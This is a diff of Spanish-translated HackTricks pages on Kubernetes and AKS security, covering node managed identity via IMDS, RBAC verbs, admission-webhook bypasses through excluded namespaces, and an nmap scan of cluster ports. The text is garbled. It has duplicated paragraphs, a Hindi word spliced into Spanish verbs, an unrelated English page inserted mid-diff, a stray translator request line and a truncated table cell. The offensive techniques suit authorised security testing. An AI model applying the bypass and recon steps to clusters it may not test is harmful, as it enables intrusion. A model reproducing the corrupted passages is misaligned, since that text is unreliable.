Los nodos de AKS son instancias de Azure VM scale set, así que el acceso a nivel de nodo o host puede exponer Azure Instance Metadata Service en `169.254.169.254`. No asumas que un pod ordinario debería recibir credenciales de managed identity del nodo: verifica primero la configuración de workload identity, el comportamiento legacy de pod identity/NMI, el uso de hostNetwork, los controles de red y el acceso al nodo. Si una identidad de nodo tiene permisos amplios en Azure, el compromiso del nodo puede convertirse en un pivot en Azure incluso cuando Workload ID de la aplicación está correctamente limitado.
Los nodos de AKS son instancias de Azure VM scale set, así que el acceso a nivel de nodo o host puede exponer Azure Instance Metadata Service en `169.254.169.254`. No asumas que un pod normal debería recibir credenciales de managed identity del nodo: verifica primero la configuración de Workload identity, el comportamiento legacy de pod identity/NMI, el uso de hostNetwork, los controles de red y el acceso al nodo. Si una node identity tiene permisos amplios en Azure, la compromise del nodo puede convertirse en un pivot en Azure incluso cuando el Workload ID de la aplicación esté correctamente limitado.
AKS Automatic y Node Auto-Provisioning (NAP) cambian la evidencia del lado del nodo que deberías recopilar. AKS Automatic preconfigura varios defaults de producción, incluyendo soporte de Workload ID/OIDC, managed node pools, bloqueo del node resource group y comportamiento de managed upgrades. NAP es el modo de provisioning gestionado basado en Karpenter y usa recursos de Kubernetes como `NodePool`, `AKSNodeClass` y `NodeClaim` para decidir qué nodos se crean para workloads pendientes. Revisa quién puede modificar esos recursos, los controles de scheduling de alto impacto, los pods privilegiados y las tolerations amplias; también comprueba si el bloqueo del node resource group impidió ediciones directas de VMSS/load balancer y obligó a aplicar cambios de vuelta mediante Kubernetes o AKS APIs.
```bash
az aks show -g <resource-group> -n <cluster> \
--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \
-o yaml
kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter'
kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null
```
## References
- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html)
- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html)
- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity)
- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts)
- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings)
- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization)
- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic)
- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning)
- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown)
{{#include ../../banners/hacktricks-training.md}}
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Control de Acceso Basado en Roles (RBAC)
## Role-Based Access Control (RBAC)
Kubernetes tiene un **módulo de autorización llamado Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) que ayuda a establecer permisos de uso para el API server.
Kubernetes tiene un **módulo de autorización llamado Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) que ayuda a establecer permisos de utilización para el API server.
El modelo de permisos de RBAC se construye a partir de **tres partes individuales**:
@@ -14,27 +14,33 @@ El modelo de permisos de RBAC se construye a partir de **tres partes individuale
![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png)
La diferencia entre “**Roles**” y “**ClusterRoles**” es solo dónde se aplicará el role un “**Role**” concederá acceso solo a **un** **namespace** **específico**, mientras que un “**ClusterRole**” puede usarse en **todos los namespaces** del cluster. Además, los **ClusterRoles** también pueden conceder acceso a:
La diferencia entre “**Roles**” y “**ClusterRoles**” es solo dónde se aplicará el role un “**Role**” otorgará acceso solo a **un** **namespace** **específico**, mientras que un “**ClusterRole**” puede usarse en **todos los namespaces** del cluster. Además, **ClusterRoles** también pueden otorgar acceso a:
- recursos de **cluster-scoped** (como nodes).
- recursos **cluster-scoped** (como nodes).
- endpoints **non-resource** (como /healthz).
- recursos con namespace (como Pods), **en todos los namespaces**.
- recursos namespaced (como Pods), **a través de todos los namespaces**.
A partir de **Kubernetes** 1.6, las políticas **RBAC** están **habilitadas por defecto**. Pero para habilitar RBAC puedes usar algo como:
A partir de **Kubernetes** 1.6, las políticas de **RBAC** están **habilitadas por defecto**. Pero para habilitar RBAC puedes usar algo como:
```
kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options
```
Las clusters modernas también pueden configurar la cadena de authorizer del API server con `--authorization-config`, que apunta a un archivo `AuthorizationConfiguration`. Este archivo puede definir authorizers ordenados, múltiples webhook authorizers, timeouts de webhook, `failurePolicy`, ajustes de caché y `matchConditions` de CEL que deciden qué requests se envían a un webhook. Durante una revisión de seguridad, no te detengas en `--authorization-mode` si `--authorization-config` está presente: lee el archivo referenciado y comprueba si un webhook puede fallar abierto con `NoOpinion`, si las match conditions omiten resources sensibles y si todas las réplicas del API server usan una configuración de authorization equivalente.
También revisa la configuración de authentication al auditar la exposición anónima del API. `--authentication-config` puede limitar el anonymous authenticator a paths específicos como `/livez`, `/readyz` y `/healthz`. El acceso anónimo a endpoints de salud no es lo mismo que el acceso anónimo a resources de Kubernetes; la condición peligrosa es una ruta de RBAC o authorizer que permita a `system:anonymous` o `system:unauthenticated` leer o modificar objetos reales del API.
Por último, trata la pertenencia a `system:masters` como equivalente a cluster-admin. Los usuarios o certificados en este grupo tienen acceso ilimitado al API que bypass los controles normales de RBAC y las restricciones de authorization por webhook, así que los mapeos de identidad que añaden este grupo pueden ser más importantes que la salida normal de RoleBinding.
## Templates
En la plantilla de un **Role** o un **ClusterRole** necesitarás indicar el **nombre del role**, el **namespace** (en roles) y luego los **apiGroups**, **resources** y **verbs** del role:
En el template de un **Role** o un **ClusterRole** necesitarás indicar el **nombre del role**, el **namespace** (en roles) y luego los **apiGroups**, **resources** y **verbs** del role:
- Los **apiGroups** es un array que contiene los diferentes **namespaces de API** a los que aplica esta rule. Por ejemplo, una definición de Pod usa apiVersion: v1. _Puede tener valores como rbac.authorization.k8s.io o \[\*]_.
- Los **resources** es un array que define **a qué resources aplica esta rule**. Puedes encontrar todos los resources con: `kubectl api-resources --namespaced=true`
- Los **verbs** es un array que contiene los **verbs permitidos**. El verb en Kubernetes define el **tipo de acción** que necesitas aplicar al resource. Por ejemplo, el verb list se usa sobre collections mientras que "get" se usa sobre un único resource.
- Los **apiGroups** son un array que contiene los distintos **API namespaces** a los que aplica esta regla. Por ejemplo, una definición de Pod usa apiVersion: v1. _Puede tener valores como rbac.authorization.k8s.io o \[\*]_.
- Los **resources** son un array que define **a qué resources aplica esta regla**. Puedes encontrar todos los resources con: `kubectl api-resources --namespaced=true`
- Los **verbs** son un array que contiene los **allowed verbs**. El verb en Kubernetes define el **tipo de acción** que necesitas aplicar al resource. Por ejemplo, el verb list se usa contra colecciones mientras que "get" se usa contra un resource individual.
### Rules Verbs
(_Esta info fue tomada de_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
(_Esta información fue tomada de_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb))
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -44,7 +50,7 @@ En la plantilla de un **Role** o un **ClusterRole** necesitarás indicar el **no
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
Kubernetes a veces comprueba la autorización para permisos adicionales usando specialized verbs. Por ejemplo:
Kubernetes a veces comprueba authorization para permisos adicionales usando verbs especializados. Por ejemplo:
- [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)
- `use` verb en resources `podsecuritypolicies` en el API group `policy`.
@@ -53,6 +59,8 @@ Kubernetes a veces comprueba la autorización para permisos adicionales usando s
- [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
- `impersonate` verb en `users`, `groups` y `serviceaccounts` en el core API group, y `userextras` en el API group `authentication.k8s.io`.
Kubernetes v1.36 también incluye **constrained impersonation** como una característica beta. En lugar de conceder solo el antiguo verb `impersonate` de todo o nada, las clusters pueden conceder verbs específicos de modo como `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node` o `impersonate:associated-node`, además de verbs específicos de acción como `impersonate-on:user-info:list` sobre el target resource. Revisa ambas partes: la identidad que el sujeto puede impersonate y las acciones que puede realizar mientras impersona. Las reglas `impersonate` heredadas todavía pueden permitir un acceso más amplio, así que no asumas que los verbs con aspecto restringido se aplican a menos que la versión del API server y la evidencia de access-review lo confirmen.
> [!WARNING]
> Puedes encontrar **todos los verbs que soporta cada resource** ejecutando `kubectl api-resources --sort-by name -o wide`
@@ -86,7 +94,7 @@ kubectl get pods --all-namespaces
```
### **RoleBinding y ClusterRoleBinding**
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding otorga los permisos definidos en un role a un user o a un conjunto de users**. Contiene una lista de subjects (users, groups o service accounts) y una referencia al role que se está otorgando. Un **RoleBinding** otorga permisos dentro de un **namespace** específico, mientras que un **ClusterRoleBinding** otorga ese acceso **cluster-wide**.
[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding grants the permissions defined in a role to a user or set of users**. Contiene una lista de subjects (users, groups, or service accounts), y una referencia al role que se está otorgando. Un **RoleBinding** otorga permisos dentro de un **namespace** específico, mientras que un **ClusterRoleBinding** otorga ese acceso **cluster-wide**.
```yaml:RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
# This role binding allows "jane" to read pods in the "default" namespace.
@@ -122,13 +130,13 @@ kind: ClusterRole
name: secret-reader
apiGroup: rbac.authorization.k8s.io
```
**Los permisos son aditivos** así que si tienes un clusterRole con “list” y “delete” secrets puedes añadirlo con un Role con “get”. Así que ten cuidado y prueba siempre tus roles y permisos y **especifica qué está PERMITIDO, porque todo está DENEGADO por defecto.**
**Los permisos son aditivos** así que si tienes un clusterRole con “list” y “delete” secrets puedes añadirlo con un Role con “get”. Así que ten cuidado y prueba siempre tus roles y permisos y **especifica lo que está PERMITIDO, porque todo está DENEGADO por defecto.**
### Details worth checking
### Detalles que vale la pena comprobar
RBAC usa los nombres de recursos tal como aparecen en las API URLs, no el `kind` de YAML. Un Pod es `pods`, un Deployment es `deployments`, y los subresources se escriben con una barra como `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` o `services/proxy`. Un permiso sobre `pods` no concede automáticamente acceso a `pods/exec` o `pods/log`.
RBAC usa los nombres de los recursos tal como aparecen en las URLs de la API, no el YAML `kind`. Un Pod es `pods`, un Deployment es `deployments`, y los subresources se escriben con una barra inclinada como `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` o `services/proxy`. Un permiso sobre `pods` no concede automáticamente acceso a `pods/exec` o `pods/log`.
`resourceNames` puede restringir algunas requests a nombres de objeto específicos:
`resourceNames` puede restringir algunas requests a nombres específicos de objetos:
```yaml
rules:
- apiGroups: [""]
@@ -136,17 +144,18 @@ resources: ["configmaps"]
resourceNames: ["app-config"]
verbs: ["get", "update"]
```
Esto no restringe `create` ni `deletecollection` en el nivel superior por nombre. Para `list` y `watch`, el cliente debe incluir un selector de campo `metadata.name` que coincida, de lo contrario la solicitud no está autorizada por esa regla:
Esto no restringe `create` o `deletecollection` de nivel superior por nombre. Para `list` y `watch`, el cliente debe incluir un selector de campo `metadata.name` que coincida; de lo contrario, la solicitud no está autorizada por esa regla:
```bash
kubectl get configmaps -n default --field-selector=metadata.name=app-config
```
Usa revisiones de acceso exactas para controles de alto impacto:
Use revisiones de acceso exactas para comprobaciones de alto impacto:
```bash
kubectl auth can-i create pods/exec -n default
kubectl auth can-i create serviceaccounts/token -n default
kubectl auth can-i impersonate users
kubectl auth can-i bind clusterroles.rbac.authorization.k8s.io
kubectl auth can-i escalate clusterroles.rbac.authorization.k8s.io
kubectl auth can-i impersonate-on:user-info:list pods -n default
```
## **Enumerando RBAC**
```bash
@@ -6,20 +6,20 @@
## Definición
`ValidatingWebhookConfiguration` es un recurso de Kubernetes que registra uno o más validating admission webhooks. Estos webhooks reciben solicitudes AdmissionReview desde el API server después de la autenticación y la autorización, pero antes de que el objeto se persista.
`ValidatingWebhookConfiguration` es un recurso de Kubernetes que registra uno o más validating admission webhooks. Estos webhooks reciben solicitudes AdmissionReview del API server después de la autenticación y autorización, pero antes de que el objeto se persista.
Los validating webhooks pueden rechazar una solicitud. Los mutating webhooks, configurados con `MutatingWebhookConfiguration`, pueden cambiar primero el objeto. Las security reviews normalmente deberían inspeccionar ambos recursos porque un mutating webhook malicioso o débil puede reescribir workloads, mientras que un validating webhook o policy engine puede bloquearlos o अनुमतिitarlos.
Los validating webhooks pueden rechazar una solicitud. Los mutating webhooks, configurados con `MutatingWebhookConfiguration`, pueden cambiar el objeto primero. Las security reviews normalmente deberían inspeccionar ambos recursos porque un mutating webhook malicioso o débil puede reescribir workloads, mientras que un validating webhook o policy engine puede bloquearlos o अनुमतिirlos.
## Propósito
El propósito de un `ValidatingWebhookConfiguration` es definir cuándo el API server debe llamar a un validating webhook y cómo debe manejar el resultado del webhook. La pregunta importante de seguridad no es solo "¿hay una policy instalada?", sino también:
El propósito de un `ValidatingWebhookConfiguration` es definir cuándo el API server debe llamar a un validating webhook y cómo debe manejar el resultado del webhook. La pregunta de seguridad importante no es solo "¿hay una policy instalada?", sino también:
- ¿Qué API groups, resources, operations y scopes coincide?
- ¿Qué namespaces u objetos quedan excluidos por selectors?
- ¿`matchConditions` omite alguna clase de solicitudes?
- ¿`matchConditions` omite alguna clase de solicitud?
- ¿`failurePolicy` falla abierto con `Ignore` o falla cerrado con `Fail`?
- ¿El servicio del webhook es accesible, confiable según el `caBundle` configurado y ejecutado por una service account con altos privilegios?
- ¿El policy engine también expone exception resources, excluded users o excluded groups?
- ¿El servicio del webhook es accesible, está confiado por el `caBundle` configurado y se ejecuta con un service account muy privilegiado?
- ¿El policy engine también expone exception resources, usuarios excluidos o grupos excluidos?
**Ejemplo**
@@ -58,7 +58,7 @@ La principal diferencia entre un ValidatingWebhookConfiguration y policies :
<figure><img src="../../images/Kyverno.png" alt=""><figcaption><p>Kyverno.png</p></figcaption></figure>
- **ValidatingWebhookConfiguration (VWC)** : Un recurso de Kubernetes que define un validating webhook, que es un componente del lado del servidor que valida las solicitudes entrantes de la API de Kubernetes frente a un conjunto de reglas y restricciones predefinidas.
- **Kyverno ClusterPolicy**: Una definición de policy que especifica un conjunto de reglas y restricciones para validar y aplicar Kubernetes resources, como pods, deployments y services
- **Kyverno ClusterPolicy**: Una definición de policy que especifica un conjunto de reglas y restricciones para validar y hacer cumplir recursos de Kubernetes, como pods, deployments y services
## Enumeration
```
@@ -69,24 +69,45 @@ $ kubectl get svc,deploy,pod -A | grep -i webhook
```
Campos a inspeccionar:
- `rules`: Revisa los API groups, versions, resources, subresources, operations y scope cubiertos.
- `namespaceSelector` / `objectSelector`: Busca namespaces o labels que excluyan recursos de la política.
- `rules`: Comprueba los grupos de API cubiertos, versiones, resources, subresources, operations y scope.
- `namespaceSelector` / `objectSelector`: Busca namespaces o labels que excluyan resources de la policy.
- `matchConditions`: Las expresiones CEL pueden omitir requests de forma intencional o accidental.
- `failurePolicy`: `Ignore` permite que las requests continúen si el webhook falla; `Fail` las bloquea.
- `failurePolicy`: `Ignore` permite que las requests continúen si falla el webhook; `Fail` las bloquea.
- `sideEffects`: Los webhooks con side effects pueden no soportar pruebas dry-run.
- `timeoutSeconds`: Timeouts muy cortos combinados con `Ignore` pueden convertirse en comportamiento fail-open.
- `clientConfig`: Revisa si el webhook apunta a un Service dentro del cluster o a una URL externa, e inspecciona el workload y el service account de soporte.
- `clientConfig`: Revisa si el webhook apunta a un Service dentro del cluster o a una URL externa, e inspecciona el workload y la service account de backend.
- `reinvocationPolicy`: Los mutating webhooks pueden ser reinvocados cuando una mutación posterior cambia el objeto.
### Native CEL admission policies
Los clusters modernos también pueden aplicar lógica de admission con objetos de policy nativos en `admissionregistration.k8s.io`, no solo con configuraciones de webhook. `ValidatingAdmissionPolicy` es una alternativa in-process basada en CEL a los validating webhooks y solo está activa cuando `ValidatingAdmissionPolicyBinding` la selecciona. `MutatingAdmissionPolicy` es estable en Kubernetes v1.36 y se activa mediante `MutatingAdmissionPolicyBinding` para mutations generadas por CEL.
Enumérelos con:
```bash
kubectl api-resources --api-group=admissionregistration.k8s.io -o wide
kubectl get validatingadmissionpolicies,validatingadmissionpolicybindings
kubectl get mutatingadmissionpolicies,mutatingadmissionpolicybindings 2>/dev/null || true
kubectl get validatingadmissionpolicy <name> -o yaml
kubectl get validatingadmissionpolicybinding <name> -o yaml
```
Security checks:
- Una policy sin un binding no aplica nada.
- `validationActions` en el binding decide si los validation failures son denied, warned, audited, o solo recorded.
- `failurePolicy: Ignore` permite que errores de evaluación CEL o una misconfiguration fallen open.
- `matchConstraints`, `matchConditions`, `namespaceSelector`, y `objectSelector` pueden excluir solicitudes sensibles.
- `paramKind` y `paramRef` pueden hacer que ConfigMaps o objetos de parámetros respaldados por CRD formen parte del límite de la policy; revisa quién puede modificar esos parameter objects.
- Las escrituras en policies, bindings y parameter resources deben tratarse como cambios privilegiados de admission-control.
### Abusing Kyverno and Gatekeeper VWC
Como podemos ver, todos los operadores instalados tienen al menos una ValidatingWebHookConfiguration(VWC).
Como podemos ver, todos los operators instalados tienen al menos un ValidatingWebHookConfiguration(VWC).
**Kyverno** y **Gatekeeper** son ambos Kubernetes policy engines que proporcionan un framework para definir y aplicar policies en todo un cluster.
Las exceptions se refieren a reglas o condiciones específicas que permiten omitir o modificar una policy bajo ciertas circunstancias, pero ¡esa no es la única forma!
Las Exceptions se refieren a reglas o condiciones específicas que permiten que una policy sea bypassed o modified bajo ciertas circunstancias, pero ¡esta no es la única forma!
Para **kyverno**, tal y como vemos, si hay una validating policy, el webhook `kyverno-resource-validating-webhook-cfg` está poblado.
Para **kyverno**, cuando existe una validating policy, el webhook `kyverno-resource-validating-webhook-cfg` se rellena.
Para Gatekeeper, existe el archivo YAML `gatekeeper-validating-webhook-configuration`.
@@ -96,49 +117,7 @@ Ambos vienen con valores por defecto, pero los equipos de Administrators podría
```bash
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
```
# ValidatingWebhookConfiguration
A **ValidatingWebhookConfiguration** is a Kubernetes resource used to intercept and validate requests to the Kubernetes API server before they are persisted. This allows you to enforce custom policies, security controls, and admission rules.
Validating webhooks are commonly used to:
- Prevent the creation of insecure resources
- Enforce naming conventions
- Block privileged containers
- Validate labels, annotations, or other metadata
When a request matches the rules defined in the configuration, the API server sends the admission review to the configured webhook service. The webhook then returns an allow/deny decision.
## Security considerations
Misconfigured `ValidatingWebhookConfiguration` objects can be abused to:
- Deny creation of important resources
- Intercept sensitive API requests
- Cause denial of service by blocking legitimate deployments
If an attacker can modify or control a validating webhook, they may be able to enforce malicious policy decisions or disrupt the cluster.
## Example
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: example-webhook
webhooks:
- name: validate.example.com
rules:
- apiGroups: ["apps"]
apiVersions: ["v1"]
operations: ["CREATE", "UPDATE"]
resources: ["deployments"]
clientConfig:
service:
name: webhook-service
namespace: default
path: /validate
```
Por favor, proporciona el contenido de salida que quieres que identifique.
```yaml
namespaceSelector:
matchExpressions:
@@ -151,22 +130,22 @@ values:
- kube-system
- MYAPP
```
Here, `kubernetes.io/metadata.name` se refiere a la etiqueta del nombre del namespace. Los namespaces con nombres en la lista `values` serán excluidos de la policy:
Aquí, `kubernetes.io/metadata.name` se refiere a la etiqueta del nombre del namespace. Los namespaces con nombres en la lista `values` serán excluidos de la policy:
Comprueba la existencia de namespaces. A veces, debido a automatización o a una misconfiguration, algunos namespaces pueden no haberse creado. Si tienes permiso para crear namespaces, podrías crear un namespace con un nombre en la lista `values` y las policies no se aplicarán a tu nuevo namespace.
Check namespaces existence. A veces, debido a automatización o misconfiguration, algunos namespaces podrían no haberse creado. Si tienes permiso para create namespace, podrías crear un namespace con un nombre en la lista `values` y las policies no se aplicarán a tu nuevo namespace.
El objetivo de este attack es explotar **misconfiguration** dentro de VWC para bypass las restricciones de los operators y luego elevar tus privilegios con otras técnicas
El objetivo de este attack es explotar la **misconfiguration** dentro de VWC para bypass las restricciones de operators y luego elevar tus privilegios con otras técnicas
Otros patrones comunes de bypass o abuso:
- Un `objectSelector` que permite a los users añadir una etiqueta de opt-out a sus propios objects.
- `failurePolicy: Ignore` en validaciones críticas de seguridad, especialmente cuando el webhook Service no tiene endpoints o la red es poco confiable.
- `failurePolicy: Ignore` en validación crítica de security, especialmente cuando el webhook Service no tiene endpoints o la networking es poco fiable.
- Excepciones del policy engine para users, groups, service accounts, namespaces o roles que son más amplias de lo previsto.
- Falta de cobertura para templates de workload controller, `pods/ephemeralcontainers`, `pods/exec`, custom resources o operaciones de actualización.
- Falta de cobertura para workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources u operaciones de update.
- Write access a `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies o exception resources.
- Un mutating webhook malicioso que inyecta containers, cambia images, monta secrets, añade tolerations o cambia la selección de service account antes de la validation.
Recuerda que admission solo protege las requests que pasan por la cadena de admission del API server. Static Pods, acceso al socket de runtime local del node, abuso directo de kubelet y acceso directo a etcd son rutas de confianza distintas y requieren hardening y monitoring separados.
Recuerda que admission solo protege las requests que pasan por la API server admission chain. Static Pods, node-local runtime socket access, direct kubelet abuse y direct etcd access son rutas de confianza diferentes y necesitan hardening y monitoring por separado.
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -179,6 +158,8 @@ abusing-roles-clusterroles-in-kubernetes/
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
- [https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/mutating-admission-policy/)
- [https://kubernetes.io/docs/reference/using-api/cel/](https://kubernetes.io/docs/reference/using-api/cel/)
@@ -4,48 +4,48 @@
Kubernetes usa varios **servicios de red específicos** que podrías encontrar **expuestos a Internet** o en una **red interna una vez que hayas comprometido un pod**.
## Encontrar pods expuestos con OSINT
## Finding exposed pods with OSINT
Una forma podría ser buscar `Identity LIKE "k8s.%.com"` en [crt.sh](https://crt.sh) para encontrar subdominios relacionados con kubernetes. Otra forma podría ser buscar `"k8s.%.com"` en github y buscar archivos **YAML** que contengan la cadena.
Una forma podría ser buscar `Identity LIKE "k8s.%.com"` en [crt.sh](https://crt.sh) para encontrar subdominios relacionados con kubernetes. Otra forma podría ser buscar `"k8s.%.com"` en github y buscar **archivos YAML** que contengan la cadena.
Señales útiles de recon externa para correlacionar antes de escanear:
Señales externas útiles de recon para correlacionar antes de escanear:
- Nombres DNS y de certificate transparency que contengan `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage` o nombres de región.
- Nombres de cloud load balancer, CNAMEs, tags y hostnames del provider que puedan vincular una aplicación expuesta o la UI de la plataforma con un cluster.
- Repositorios públicos, logs de CI, valores de Helm, estado de Terraform, manifests renderizados, imágenes de contenedor y documentación que filtren kubeconfigs, URLs del API server, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, hosts de Ingress, listeners de Gateway o configuración de dashboard.
- Inventario de managed Kubernetes, cuando las credenciales de cloud estén en alcance: acceso público/privado al endpoint de EKS y CIDRs públicos, configuración pública/privada del control plane de GKE y authorized networks, y configuración de IP autorizadas para cluster privado/API server de AKS.
- Herramientas de plataforma expuestas alrededor del cluster como Argo CD, Prometheus, Grafana, Harbor, registries, dashboards de CI/CD, service mesh dashboards y endpoints de administración o métricas del ingress-controller.
- Nombres de DNS y certificate transparency que contengan `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage` o nombres de región.
- Nombres de cloud load balancer, CNAMEs, tags y hostnames del proveedor que puedan vincular una aplicación expuesta o una interfaz de plataforma con un cluster.
- Repositorios públicos, logs de CI, valores de Helm, estado de Terraform, manifests renderizados, container images y documentación que filtren kubeconfigs, URLs del API server, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, hosts de Ingress, listeners de Gateway o configuraciones del dashboard.
- Inventario de managed Kubernetes, cuando las credenciales de cloud están dentro del alcance: acceso público/privado al endpoint de EKS y CIDRs públicos, configuración de control-plane público/privado en GKE y redes autorizadas, y configuración de IP autorizadas para clusters privados/API server en AKS.
- Herramientas de plataforma expuestas alrededor del cluster como Argo CD, Prometheus, Grafana, Harbor, registries, dashboards de CI/CD, dashboards de service mesh y endpoints de administración o métricas del ingress-controller.
Trata esto como pistas de atribución y priorización. Una aplicación pública de Ingress es normal en muchos clusters, mientras que kubelet expuesto, etcd, dashboard, control de despliegue de CI/CD o kubeconfig filtrado deben priorizarse mucho más.
Trata estas pistas como indicios de atribución y priorización. Una aplicación pública de Ingress es normal en muchos clusters, mientras que kubelet, etcd, dashboard, control de despliegue de CI/CD o material de kubeconfig filtrado expuestos deben priorizarse mucho más.
## Cómo Kubernetes expone Services
## How Kubernetes Exposes Services
Puede resultarte útil entender cómo Kubernetes puede **exponer services públicamente** para encontrarlos:
Puede resultarte útil entender cómo Kubernetes puede **exponer servicios públicamente** para encontrarlos:
{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}
## Encontrar pods expuestos mediante port scanning
## Finding Exposed pods via port scanning
Los siguientes puertos podrían estar abiertos en un cluster de Kubernetes:
| Port | Process | Description |
| --------------- | -------------- | ---------------------------------------------------------------------- |
| 443/TCP | kube-apiserver | Kubernetes API port |
| 443/TCP | kube-apiserver | Puerto de la API de Kubernetes |
| 2379/TCP | etcd | |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-4/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 44134/TCP | Tiller | Helm service listening |
| 4194/TCP | cAdvisor | tricas del contenedor |
| 6443/TCP | kube-apiserver | Puerto de la API de Kubernetes |
| 8443/TCP | kube-apiserver | Puerto de la API de Minikube |
| 8080/TCP | kube-apiserver | Puerto de API inseguro |
| 10250/TCP | kubelet | API HTTPS que permite acceso en modo completo |
| 10255/TCP | kubelet | Puerto HTTP de solo lectura sin autenticación: pods, pods en ejecución y estado del nodo |
| 10256/TCP | kube-proxy | Servidor de comprobación de salud de Kube Proxy |
| 9099/TCP | calico-felix | Servidor de comprobación de salud para Calico |
| 6782-4/TCP | weave | Métricas y endpoints |
| 30000-32767/TCP | NodePort | Proxy a los servicios |
| 44134/TCP | Tiller | Servicio de Helm en escucha |
### Nmap
```bash
@@ -53,7 +53,7 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
```
### Kube-apiserver
Este es el **servicio API de Kubernetes** con el que los administradores suelen comunicarse usando la herramienta **`kubectl`**.
Este es el **servicio API de Kubernetes** con el que los administradores hablan normalmente usando la herramienta **`kubectl`**.
**Puertos comunes: 6443 y 443**, pero también 8443 en minikube y 8080 como inseguro.
